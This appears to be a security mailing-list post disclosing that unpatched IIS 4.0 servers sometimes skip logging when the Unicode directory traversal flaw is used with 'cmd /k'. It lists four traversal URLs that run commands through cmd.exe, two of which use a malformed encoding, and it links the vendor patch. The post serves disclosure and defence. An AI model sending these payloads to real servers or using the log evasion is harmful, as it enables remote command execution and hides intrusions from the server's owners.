sometimes IIS 4.0 don't write logs.

[ThEye <theye () 350cc com>]

Hi:

I don't know if this problem is documented but i didn't find anything about 
it anywhere.

The problem is the following one:

+ Problem:
When I was playing with "Microsoft IIS and PWS Extended Unicode Directory 
Transveral Vulnerability" ( BugtraqID = 1806 ) I found that if the attacker 
uses the "k" option of cmd ( cmd /k ) instead of the "c" option (cmd /c) 
,IIS 4.0 (with Extended Unicode Directory Transveral Vulnerability) 
sometimes don't write logs of the attacker's activity.

+ Implications:
If an attacker uses this vulnerability to crack a web page or anything, 
eventually no tracks will exist on the attacked server.

+ Final:
In PROBLEM I said "sometimes" because after a high number of requests to 
"cmd /k" , IIS 4.0 write logs of some requests, still I don't know when and 
why IIS 4.0 write logs of the "cmd /k" request.
Anyone that can confirm or refute this please post it.


+ Exploit:
I tested this problem on Windows NT Server 4.0 with IIS 4.0 just installed 
( without any patch ).

http://server.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/k+dir
http://server.com/scripts/..%c0%af../winnt/system32/cmd.exe?/k+dir
http://server.com/msadc/..%c1%pc../winnt/system32/cmd.exe?/k+dir
http://server.com/msadc/..%c0%af../winnt/system32/cmd.exe?/k+dir

Result: No tracks on log files.

+ More Information:
1) Microsoft IIS and PWS Extended Unicode Directory Transversal
   http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=info&id=1806
2) Microsoft Patch prmcan4i
   http://download.microsoft.com/download/winntsp/Patch/q269862/NT4ALPHA/EN-US/prmcan4i.exe

Roberto Alamos M. (theye () 350cc com)
www.350cc.com